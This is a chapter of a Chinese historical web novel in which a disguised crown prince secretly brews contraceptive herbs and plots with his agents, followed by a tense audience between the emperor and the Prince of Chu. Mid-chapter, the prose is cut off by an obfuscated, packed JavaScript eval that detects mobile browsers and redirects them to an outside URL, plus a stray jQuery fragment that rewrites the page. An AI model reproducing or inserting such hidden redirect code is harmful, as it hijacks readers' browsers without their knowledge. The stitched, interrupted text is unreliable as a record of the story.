屋中的炭盆内发出几声微小的爆裂声，听着屋外的寒风，看似早已入睡的慕钰缓缓地睁开了双眼。
看了看身边熟的极沉的慕云瑠，他才起身离开屋子，今夜是李永恩前来传递消息的日子，由于已至年关，先前会面的地点也暂时关门，他们才不得不采用了这个冒险的策略，慕钰可谓对李永恩三令五申，命其若是没有极为要紧的事情，就不要轻易来打扰他。
不过他夜半起身不只是为了这个，穿好厚实的衣物后，他轻轻地出门走向了厨房中。
墙边砌好的用来煮药的灶台从未有一天真正的空闲过，之前是给他熬煮治疗的药物，现在晚上还要承担起煎熬别的秘密药物的职责。
深色的罐体被长时间的药液浸染，散发着一股浓浓的药味，他把藏在灶台角落里的草药倒进去，加水，点火，不一会儿，沸腾的水汽瞬间激发了其中的草药味。
这些是他专门寻来的，男子用来避子的药物，盯着面前影影绰绰的火光，慕钰的思绪不自觉地勾连起其他的事情，他情不自禁地想起他们的以后，两个从未真正坦诚相待的人的未来，到底要如何走下去，他也着实没有想好，可哪怕再怎么想留住她，他也不愿意用违背她意志的方式创造一个新的生命来牵扯住她，这对她不公平，她合该是要自由自在行走于世间的，即使这个想法如何与世间的常理相悖，可当每次他的目光久久地停留在她身上时，他都会重新确认和强化这个想法——他渴求她的一切，包括她的独特性本身。
因为爱和尊重，所以才有了药的出现，是他很久之前就悄悄寻来的，他知晓自己的娘子对药理并不算精通，只在外伤的处理上甚为老道，不过他自然是对内里真正的原因一无所知，只当是村内山上，村人劳动时容易出现各种各样的危险和伤害，需要她来及时处理和包扎，所以他就颇为放心地将药放在罐中烹煮，不同的药味融合在一起，慕云瑠也轻易分辨不出。
门外传来轻叩声，是绝尘来提醒他李永恩到了。
他顺势熄灭灶下的火焰，将已经熬好的药端了出去。
三人照旧在柴房相聚，豆大的烛火将三人的身影投射在窗纸上。
慕钰拧紧了眉头，略有些无奈地看向李永恩，说道：
“究竟有什么要紧的事，需要你如此着急来见我？”
他何其敏锐的一个人，自从紫云寺回来，他如何察觉不出身边人对自己的疏离和疑心，幸好之后他们加倍小心，谨慎行事，再加上自己可谓死缠烂打、用尽手段，这才勉强将她的疑心压回去，二人之间的关系也看似回到了先前那种如胶似漆的状态，可他也很清楚，她的怀疑只是暂时被抛却，而不是彻底消失了，任何一个细微的、异样的风吹草动，都有可能激起她怀疑思绪的彻底反扑。
因而面对李永恩这个最大的不确定因素，他当然是要打起十二万分的精神，审慎地面对此事。
李永恩面色深沉，见另外两人进来坐定，便急不可耐地开口沉声说道：
“大事不好，京城那边传来消息，二皇子一党已经拉拢了镇远侯，在朝内颇有取而代之之势……”
取而代之什么，在场的三位心知肚明。
良久的沉默后，慕钰率先长叹一口气：
“父皇那边可有……什么反应？”无论那些人如何竭尽全力，握有决定权的仍旧是那个被暗中鄙夷却又不得不尽力讨好的人。
李永恩摇摇头，脸上也罕有地出现了一丝疑问的表情：
“目前还并未发生什么……安静地……可怕？”
他的尾音带上了明显的疑惑，他对看似平静的水面感到困惑，哪怕水底早已翻腾如沸，表面却平稳如常，这显然不符合常理——李永恩一直认为，那位对太子的残忍和决绝代表了他想要翻覆一切过往的勇气，可现在看来，事实的走向不是这样——谁也无法参透一个人的内心所想，哪怕是血脉相连的至亲也无法实现。
人的复杂性在此刻暴露无遗：他可以为想要达成的目标扫除一切障碍，利用所有可以被利用的，瞒过了几乎所有人，可他又在事成之后龟缩回了日常的壳子里，继续推动着那平静无波的生活，仿佛先前所做的均与他无干。
……
“荆州那边如何？”慕钰好似对京城的危机不感兴趣，反而转头问起荆州那边的情势——京城那边闹得再怎么凶，也多半是缸中沸水，涌不过那缸沿来，可荆州暗藏的祸事不同，它就如同那缸下燃烧的火焰，若是任由它凶猛下去，迟早会落得个缸翻火蔓的糟糕境地。
李永恩同样没料到他会再次询问荆州的境况，在他看来，京城的情况可要紧迫得多，但碍于太子是自己名义上的主子，于是只得老实回答：
“荆州那边……自我们离开后，已经很久没有消息传来了，线人怕不是……”
之后的推测他没有说出来，慕钰的手指在桌上轻叩几下，眉头蹙得更紧了：
“荆州的这把火，是想要将我们所有人都付之一炬啊……你们难道没有察觉到？豫州的天气中，也有了几分灼热吗？”
窗外倏忽一阵风刮过，窗纸发出几声脆弱的呜咽来。
如此天气，慕钰口中的灼热自然说的不会是现实中的天气。
听到这儿，就连今夜一直沉默的绝尘也不禁坐直了身子，两道惊诧的目光齐齐地射向了他，可后者在接受到如有实质的目光后却垂首轻叹一声，夹杂着疲惫的担忧：
“高昂的炭价无法烘烤每个人的房屋，绝尘，这个你是知晓的……”
绝尘颔首，可她一时无法立刻抓住他们之间的联系。
“当然……还有别的，”他声音一顿，接着艰难地开口：“冤诉、消失、苛政……这些难道还不够将生民放在火上炙烤吗？”
听到这儿，另外二人才真正将他的话串联起来，与他共同思索该如何面对当前的窘境
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095455|187413||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
——缸中之水与缸下之火，无论孰轻孰重，他们必然是得一一面对的。
然而，此刻的他们要被困死在这里，什么办法也没有。
“再等等罢，再等等……”
慕钰心中有股莫名的预感：这个年之后，定然会有机会破解眼下的困局。
—
宫中的新年少不了藩王入宫觐见，先帝诸子分封四方，也唯有过年时才可得以相见，手足之情难敌权力在握，免不了生出防范戒备之心。
一辆刻印有楚王府徽标的马车缓缓停在了景运门前，前来接引的李秉忠早已等候在那里。
楚王走下马车，神色中的傲倨并未被刻意掩藏，俨然是一副作为胜利者的姿态前来的。
李秉忠极力压制住内心的愤怒与厌恶，礼数周全地将他往圣上所在的宫殿走去，忽视掉那在自己身上来回的冒犯目光。
今日二人的见面，必将是充满火药味的。
果然，楚王连门都还未踏进去，意有所指的声音就率先响起：
“哟，今日一路走来，怎么未曾见过太子殿下？”
李秉忠手中的拂尘差点被他捏断，心中暗叹于楚王此人的挑衅如此直白，直戳要害，不给对方留下丝毫的余地。
他稍稍抬头——陛下的脸色沉下来，眼底翻滚着阴郁的神色，他暗叫不好，自知今日的差事是极难做了，一会儿可要回去知会一声那些小的，省的笨手笨脚触了霉头，否则到时候连自己为什么死都不知道。
直到楚王自顾自地坐下，圣上这才努力压制住内心的情绪，开口说：
“太子身体抱恙，还在江南修养，朕念及回京路途遥远，不适于他安心养病，所以特意准许他可暂不归京。”
楚王嗤笑一声，对他的借口一笑而过，未再多言，可眼神中的嘲讽极为明显，心说：这么拙劣的借口，不会把你自己都给骗过去了吧。
“没想到太子殿下竟如此难堪大用，不如陛下将他废了，再立一个得力的在身边，依本王看，二殿下就不错。”
此话一出，圣上的脸色可谓更差劲了，李秉忠绝望地想：今日还是别让其他闲杂人等再近陛下的身了……
楚王对兄弟可再熟悉不过，一个极端懦弱又自大的人，他再如何冒犯和刺激，对方大概会选择在懦弱的躯壳中爆发出强烈的自我意识，只不过这自大的自我终会作用到他最亲近的人身上，譬如太子。
“朕召你前来，可不是为了在此事上让你指手画脚。”
“呵……是臣僭越了。”嘴上说着赎罪的话，动作中则窥不见丝毫的恭敬和惭愧，“所以，陛下今日召我前来，所为何事？”
“怎么，无事就不能召你入宫了？”圣上微微掀起眼皮，无声得睨了他一眼。
楚王不语，可面上的表情显示了他内心的不屑，赤裸裸地在嘲讽上头那人：
难不成你我之间还有兄弟情可叙吗？